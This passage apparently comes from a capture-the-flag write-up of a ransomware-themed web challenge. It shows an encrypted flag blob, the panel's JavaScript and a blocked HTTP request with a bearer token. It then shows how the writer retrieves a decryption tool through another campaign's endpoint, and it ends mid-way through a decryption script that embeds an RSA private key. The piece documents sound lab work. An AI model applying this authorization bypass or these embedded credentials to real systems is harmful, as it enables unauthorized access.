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 ISA3RyTDlTgPHF1UIw+3 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 fK+pYNBvzqFESSeLHkKz2tTj+0 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","id":"78f39cf1-785 e-4212 -bfca-4 de9ab36bbcb","name":"flag.png"}},"status":"success"}
But unfortunately we can't download the decryption tool:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function get_decrypt_tool ( ) { toast ("error" , "Mercenary mission, only destruction, no decryption tool will be provided." ) } function edit_beacon ( ) { $.ajax ({ url : api_url+"/beacon/update" , type : "POST" , data : JSON .stringify ({id : beacon.id , name : $('#beacon_name' ).val (), state : $('#beacon_state' ).val ()}), contentType : "application/json" , headers : { "Authorization" : "Bearer " + localStorage .getItem ('token' ) }, success : function (response ) { toast ("success" , response.message ); }, error : function (response ) { toast ("error" , response.responseJSON ['message' ]); } }); }
When trying to update the campaign we have this error:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /api/beacon/update HTTP/1.1 Host : xd33r.web.midnightflag.fr:31081Content-Length : 71Accept : */*Authorization : Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7IUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Content-Type : application/jsonOrigin : http://xd33r.web.midnightflag.fr:31080Referer : http://xd33r.web.midnightflag.fr:31080/Accept-Encoding : gzip, deflateAccept-Language : en-US,en;q=0.9Connection : close{ "id" : "d2f2b880-1bb8-4cf3-a46e-c23e34fbdede" , "name" : "ESNA" , "state" : "1" }
1 2 3 4 5 6 7 8 9 10 HTTP/1.1 403 Forbiddencontent-length : 98connection : closeaccess-control-allow-credentials : truevary : Origin, Access-Control-Request-Method, Access-Control-Request-Headerscontent-type : application/jsonaccess-control-allow-origin : http://xd33r.web.midnightflag.fr:31080date : Sun, 16 Apr 2023 01:40:01 GMT{:,:}
Let's save the public key.
But to download the decryption tool we just have to go on an older campaign wand hope this is not custom to each campaign.
http://xd33r.web.midnightflag.fr:31081/api/beacon/925f7caa-e84f-4b77-ae5d-e4165b1cda27/decrypt_tool
The script loos like that:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import base64import osfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP, AESfrom Crypto.Random import get_random_bytesdef decrypt (private_key, encrypted_content ): private_cipher_rsa = PKCS1_OAEP.new(RSA.import_key(private_key)) clear_aes_key = private_cipher_rsa.decrypt(encrypted_content[:AES.block_size*16 ]) clear_aes_iv = private_cipher_rsa.decrypt(encrypted_content[AES.block_size*16 :AES.block_size*16 *2 ]) decrypt_cipher = AES.new(clear_aes_key, AES.MODE_CBC, clear_aes_iv) return decrypt_cipher.decrypt(encrypted_content[AES.block_size*16 *2 :]) KEY_CONST = base64.b64decode("LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBb0ZpYXM1RWlVVFBFVEY1WWVYTm9LQlZkNERxWFhJMHlwSndLQUtJWVlITCtIZUNJCm50STN5Z2VMUm1RNEEzR05lc3lPY05RMVRFRnRKSWIxQ1d2Zm5WVElYek4vMHpMekhHVWM2MGZXTUhuVW03MzgKampMUEd2UThwZ1pwZFdHNlVieDY3TmlUSklNaEdid3psMFhhbWVLYURUTWNBYkw1QlNVN091djUvZk9ETjc2SgpxclJvTGNTWGxpczFNbE45SVg3TDVBbnpka1diSkg2YmhyZEtqTmhGYkZRaWloRFU2aThGMDFodWFzdkNVUkRNClNDTWI3YkIyTUFoOHc3cXVmRmNZYm41Sk1iSzd6UFFpZjBrdENYRURiYkNFNDQ3Y1VhMDNZdXA0QjQ1b2lLbzkKZ2x6TFdSWVZMZmpjNVQzUmxscFNNeWVFZzFtQXp1RUJKRUIvUndJREFRQUJBb0lCQUNFYWFjWE1uc01ZNXR2RgpWb3FzVXNLRHRyL0dHTjJZb08zdThQbTBmVWZjTmE1QlhyTTdQeDFNZFdwdzRrZUR0K3UwTTJ3RHc0VWN0TVduCnZ3clU1SE44djJrNEhwbWhtU014bE1qV0tkZ1VMdHFBWEpXVzA3OEMwVXFOWkZSQmVzL0pFNisxL3BxNUg2cEsKZW5RdWpiVGJYV2FBT0xYNUZ3UUM3Ymw2WWtBVkkrdGp2ejJIQWVxR2ZNOFJwQ2x4bFNWc1lsT2g4ZTJqMzhlZApyV0hoaUhxZERmc0tHYmVyQTZYUDlJUUk5NmdwRE5xU09SOSt6dnM0WHJvM090ZzNHRUVGZDdndkxMMFpybjR5Ckt4WHQzTStiVnJaeURkaitoR3FoU1h1MldtMTBQL2JoNHYrSDI5VDdFd3JtUXhuQWZDeVlxeWtpT2hQUjJRK00KdnFUMFFuRUNnWUVBdUo2VUtWeWtoLzZING1EUHFialZ0dVJTUDRTRTRkYXZ5N1U1WXVqVVF0MlUwblAvYWZGUApOQnM3TjhZYkZnc1BnNFhZL1dVSzdJZlFwbnZsZjZQTEoydXFGeVkxakYwa01NM1A1NitESmVhK2VWUFV3MXpRCjZ6blYwQ3o2N3QraUhVSVZIV3dlbEp1cUU5Z3NkOE0zV21uOTJsUDJXbEowQTdVVGs5eUxzZU1DZ1lFQTNsZDYKZWJYbE0xNmxNNlY1ZEZVckFNeVF5OHUwVjNNTWthWUpyVlJPRStlZWFOMVBjbDNjVWRFZDZxa0xVdnFsZTdCQgpGYzdac3dMa2JkVm1oREZZRTJGbHozMDFPMHJoV1R5bzZyTFlMWTRXOXpQK0hGMWZ1Z3lsVmhaWFFmRDJ2OWhRCmNkWVZ2REV6WkxWVENVcGZ